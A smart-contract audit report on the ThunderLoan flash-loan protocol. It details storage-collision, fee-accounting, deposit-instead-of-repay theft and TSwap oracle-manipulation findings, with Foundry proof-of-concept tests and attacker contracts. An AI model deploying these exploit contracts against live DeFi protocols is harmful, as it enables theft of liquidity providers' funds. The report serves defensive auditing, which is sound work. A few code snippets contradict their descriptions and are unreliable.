Protocol Audit Report

Version 1.0

Cyfrin.io

September 25, 2025

Protocol Audit Report

Cyfrin.io

September 25, 2025

Prepared by: YoYiL Lead Auditors: - YoYiL

Table of Contents

- Medium
    * [M-1] Using TSwap as a price oracle enables price/oracle manipulation attacks
    * [M-2] Centralization risk for trusted owners
        · Impact:
- Low
    * [L-1] Empty Function Body - Consider commenting why
    * [L-2] Initializers could be front-run
    * [L-3] Missing critial event emissions
- Informational
    * [I-1] Poor Test Coverage
- Gas
    * [G-1] Using bools for storage incurs overhead
    * [G-2] Using **`private`** rather than **`public`** for constants, saves gas
    * [G-3] Unnecessary SLOAD when logging new exchange rate

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Disclaimer

The YoYiL team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Scope

- In Scope:

```
#-- interfaces
|    #-- IFlashLoanReceiver.sol
|    #-- IPoolFactory.sol
|    #-- ITSwapPool.sol
|    #-- IThunderLoan.sol
#-- protocol
|    #-- AssetToken.sol
|    #-- OracleUpgradeable.sol
|    #-- ThunderLoan.sol
#-- upgradedProtocol
     #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	2
Low	3
Info	1
Gas	3
Total	13

Findings

High

[H-1] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description: `ThunderLoan.sol` defines two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the intended upgraded contract `ThunderLoanUpgraded.sol` places them differently:

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to Solidity's storage layout rules, after the upgrade `s_flashLoanFee` will take on the value previously stored in `s_feePrecision`. In upgradeable contracts, you must not reorder storage variables.

Impact: Post-upgrade, `s_flashLoanFee` will equal `s_feePrecision`, causing borrowers to be charged an incorrect flash loan fee immediately after the upgrade. Additionally, the `s_currentlyFlashLoaning` mapping will begin at the wrong storage slot, leading to further state corruption.

Proof of Code:

Code

Add the following to `ThunderLoanTest.t.sol`:

```
// You'll need to import `ThunderLoanUpgraded` as well
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";

function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeTo(address(upgraded));
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also observe the storage layout differences by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`.

Recommended Mitigation: Do not reorder storage variables during an upgrade, and leave a placeholder slot if replacing a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-2] Erroneous ThunderLoan::updateExchange in the deposit function causes the protocol to overestimate fees, blocking redemptions and mispricing the exchange rate

Description: In the ThunderLoan system, `exchangeRate` determines the conversion between asset tokens and underlying tokens and implicitly tracks fee accruals for liquidity providers.

However, the `deposit` function updates this rate without actually collecting any fees.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
        ) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

    // @Audit-High
@>  // uint256 calculatedFee = getCalculatedFee(token, amount);
@>  // assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

Impact:
- The `redeem` function becomes blocked because the protocol believes the redeemable amount exceeds its actual balance.
- Rewards are miscalculated, potentially giving liquidity providers significantly more or less than they deserve.

Proof of Concept: - LP deposits
- A user takes a flash loan
- LP redemption becomes impossible

Proof of Code
Place the following into `ThunderLoanTest.t.sol`:

Code

Add the following to `ThunderLoanTest.t.sol`:

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
    uint256 amountToBorrow = AMOUNT * 10;
    uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
        amountToBorrow);
    tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);

    vm.startPrank(user);
    thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
        amountToBorrow, "");
    vm.stopPrank();

    uint256 amountToRedeem = type(uint256).max;
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, amountToRedeem);
```

```
}
```

Recommended Mitigation: Remove the incorrect `updateExchangeRate` calls from `deposit`.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
     AssetToken assetToken = s_tokenToAssetToken[token];
     uint256 exchangeRate = assetToken.getExchangeRate();
     uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
         ) / exchangeRate;
     emit Deposit(msg.sender, token, amount);
     assetToken.mint(msg.sender, mintAmount);

-    uint256 calculatedFee = getCalculatedFee(token, amount);
-    assetToken.updateExchangeRate(calculatedFee);

     token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[H-3] Fee unit mismatch leads to incorrect repayment checks and potential DoS/undercharging

Description

The protocol computes flash loan fees in WETH units, but enforces repayment using balances of the borrowed token, mixing incompatible units.

- `getPriceInWeth(token)` returns `ITSwapPool(pool).getPriceOfOnePoolTokenInWeth()`, which by naming and common convention is "WETH per token" with 1e18 precision.
- The fee calculation therefore produces a WETH-denominated amount:
  - `valueOfBorrowedToken = (amount[token] * price[WETH/token])/ 1e18` → WETH
  - `fee = (valueOfBorrowedToken[WETH] * s_flashLoanFee[1e18=100%]) / 1e18` → WETH
- Repayment enforcement compares token balances against `startingBalance + fee`, implicitly treating `fee` as token units:
  - `startingBalance` and `endingBalance` are measured in the borrowed token via `token.balanceOf(address(assetToken))`.
  - `if (endingBalance < startingBalance + fee)...` mixes token units with WETH units.
- This is only consistent when the borrowed asset is WETH; for other tokens, the inequality is dimensionally incorrect.

Impact

- Non-WETH loans:
  - Overly strict check causing revert/DoS: borrowers cannot satisfy `endingBalance >= startingBalance + fee` because `fee` is not denominated in the borrowed token.
  - Or undercharging: numeric coincidences (due to price scale/rounding) can allow repayments that do not cover the intended fee, harming LPs.
- WETH loans: appear to work, masking the issue in limited testing.
- Net effect: denial-of-service for non-WETH flashloans or incorrect fee collection, leading to protocol revenue loss and broken accounting.

Proof of Concepts

Conceptual example:

1. token = USDC (6 decimals)
2. price = 0.0003 WETH per USDC (scaled by 1e18)
3. borrow `amount = 1_000_000 USDC`
4. `valueOfBorrowedToken ~= 300 WETH`
5. `fee (0.3%)~= 0.9 WETH`
6. Repayment check requires:
   - `endingBalance[USDC] >=startingBalance[USDC] + 0.9`
   - Here `0.9` is a WETH amount, not a USDC amount. The comparison is semantically invalid and will either revert (DoS) or pass incorrectly depending on numeric artifacts.

Minimal test outline:

```
function test_Flashloan_NonWeth_FeeUnitMismatch() public {
    // Arrange: allow USDC, seed pool, set price and fee rate
    // Act: take flashloan in USDC, repay principal and try to satisfy
       WETH-denominated fee as token units
    // Assert: observe revert (DoS) or inconsistent pass depending on
       numeric ranges
}

function test_Flashloan_Weth_OK() public {
    // Borrow WETH; units align; assert pass
}
```

Recommended mitigation

Choose one consistent design:

Option A — Charge fee in the borrowed token (simplest; keeps current balance-based check)

- Convert the WETH-denominated fee back to token units using the same price.
- Let `price = WETH per token (1e18)`.

Option B — Collect fee in WETH (split accounting)

- Keep `fee` in WETH and require the borrower to repay fee in WETH to the protocol/treasury.

Additionally:

- Document units and precision explicitly:
  - `getPriceInWeth`: WETH per token, 1e18 precision.
  - `s_flashLoanFee`: 1e18 = 100%.
- Add tests covering non-WETH assets, extreme prices, and rounding boundaries to ensure repayment and fee paths are unit-consistent.

[H-4] By calling a flash loan and then ThunderLoan::deposit instead of ThunderLoan::repay, users can steal all funds from the protocol

Description: By invoking deposit to "repay" a flash loan, an attacker can satisfy the repayment check while later redeeming the deposited tokens, effectively stealing the borrowed funds.

Impact: This exploit drains the liquidity pool for the flash-loaned token, corrupts internal accounting, and results in a total loss of funds.

Proof of Concept: - The attacker initiates a flash loan. - The borrowed funds are deposited into ThunderLoan via a malicious contract's executeOperation function. - The flash loan repayment check passes because it compares the AssetToken balance before the loan with the post-deposit balance. - After the flash loan completes, the attacker calls redeem on ThunderLoan to withdraw the "deposited" tokens, capturing the borrowed funds.

Add the following to ThunderLoanTest.t.sol and run: forge test –mt testUseDepositInsteadOfRepayToStealFunds

Proof of Code:

Code

Add the following to `ThunderLoanTest.t.sol`:

```
function testUseDepositInsteadOfRepayToStealFunds() public
    setAllowedToken hasDeposits {
     uint256 amountToBorrow = 50e18;
     DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
     uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
```

```
    vm.startPrank(user);
    tokenA.mint(address(dor), fee);
    thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
    dor.redeemMoney();
    vm.stopPrank();

    assert(tokenA.balanceOf(address(dor)) > fee);
}

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        s_token.approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

Recommended Mitigation: Disallow deposits for a token while it is in an active flash loan.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
+    if (s_currentlyFlashLoaning[token]) {
+        revert ThunderLoan__CurrentlyFlashLoaning();
+    }
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
```

```
    ) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

    uint256 calculatedFee = getCalculatedFee(token, amount);
    assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

Medium

[M-1] Using TSwap as a price oracle enables price/oracle manipulation attacks

Description: TSwap is a constant-product AMM where prices are derived from pool reserves. An attacker can manipulate the price within a single transaction by trading large amounts, effectively bypassing fees and making on-chain spot prices unreliable for oracle use.

Impact: Liquidity providers earn substantially less in fees, and flash loan borrowers can underpay by exploiting manipulated prices.

Proof of Concept: All steps occur within one transaction. 1) The user takes a ThunderLoan flash loan of 1000 tokenA and pays the initial fee fee1. During the loan: - They sell 1000 tokenA to depress the price. - Before repaying, they take a second flash loan for another 1000 tokenA. - Because ThunderLoan prices via the TSwap pool, the second loan is significantly cheaper due to the manipulated spot price.

```
function getPriceInWeth(address token) public view returns (uint256) {
    address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token
        );
```

@> return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth(); }

2) The user then repays the first flash loan followed by the second.

Add the following to ThunderLoanTest.t.sol.

Proof of Code:

Code

Add the following to `ThunderLoanTest.t.sol`:

```
function testOracleManipulation() public {
    // 1. Setup contracts
    thunderLoan = new ThunderLoan();
    tokenA = new ERC20Mock();
    proxy = new ERC1967Proxy(address(thunderLoan), "");
```

```
    BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
    // Create a TSwap Dex between WETH/TokenA and initialize ThunderLoan
    address tswapPool = pf.createPool(address(tokenA));
    thunderLoan = ThunderLoan(address(proxy));
    thunderLoan.initialize(address(pf));

    // 2. Fund TSwap
    vm.startPrank(liquidityProvider);
    tokenA.mint(liquidityProvider, 100e18);
    tokenA.approve(address(tswapPool), 100e18);
    weth.mint(liquidityProvider, 100e18);
    weth.approve(address(tswapPool), 100e18);
    BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
    vm.stopPrank();

    // 3. Fund ThunderLoan
    vm.prank(thunderLoan.owner());
    thunderLoan.setAllowedToken(tokenA, true);
    vm.startPrank(liquidityProvider);
    tokenA.mint(liquidityProvider, 100e18);
    tokenA.approve(address(thunderLoan), 100e18);
    thunderLoan.deposit(tokenA, 100e18);
    vm.stopPrank();

    uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
    console2.log("Normal Fee is:", normalFeeCost);

    // 4. Execute 2 flash loans
    uint256 amountToBorrow = 50e18;
    MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
        address(tswapPool), address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA))
    );

    vm.startPrank(user);
    tokenA.mint(address(flr), 100e18);
    thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, ""); // flr.executeOperation will trigger a second flashloan
    vm.stopPrank();

    uint256 attackFee = flr.feeOne() + flr.feeTwo();
    console2.log("Attack Fee is:", attackFee);
    assert(attackFee < normalFeeCost);
}

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
```

```
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    // 1. Swap TokenA borrowed for WETH
    // 2. Take out a second flash loan to compare fees
    constructor(address _tswapPool, address _thunderLoan, address _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /* initiator */
        bytes calldata /* params */
    )
        external
        returns (bool)
    {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            // Tank the price:
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought, block.timestamp);
            // Second flash loan
            thunderLoan.flashloan(address(this), IERC20(token), amount, "");
            // Repay via transfer
            IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            // Record fee and repay
            feeTwo = fee;
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }
        return true;
    }
}
```

Recommended Mitigation: Use a resilient oracle design, e.g., Chainlink price feeds with a Uniswap TWAP fallback. Additionally, consider: - Minimum observation windows and heartbeat checks - Liquidity thresholds and deviation bounds - Cooldown periods or two-step pricing updates - Circuit breakers when prices move beyond configured limits

[M-2] Centralization risk for trusted owners

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
File: src/protocol/ThunderLoan.sol

223:     function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (AssetToken) {

261:     function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
File: src/protocol/ThunderLoan.sol

261:     function _authorizeUpgrade(address newImplementation) internal override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
File: src/protocol/OracleUpgradeable.sol

11:     function __Oracle_init(address poolFactoryAddress) internal onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

```

```
138:     function initialize(address tswapAddress) external initializer
    {

138:     function initialize(address tswapAddress) external initializer
    {

139:         __Ownable_init();

140:         __UUPSUpgradeable_init();

141:         __Oracle_init(tswapAddress);
```

[L-3] Missing critial event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+    event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

Informational

[I-1] Poor Test Coverage

```
Running tests...
| File                              | % Lines        | % Statements
    | % Branches     | % Funcs        |
| --------------------------------- | -------------- | --------------
    | -------------- | -------------- |
| src/protocol/AssetToken.sol       | 70.00% (7/10)  | 76.92% (10/13)
    | 50.00% (1/2)   | 66.67% (4/6)   |
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)  | 100.00% (9/9)
    | 100.00% (0/0) | 80.00% (4/5)   |
```

```
| src/protocol/ThunderLoan.sol         | 64.52% (40/62) | 68.35% (54/79)
    | 37.50% (6/16) | 71.43% (10/14) |
```

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

Gas

[G-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
```

[G-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```

[G-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```diff
  s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```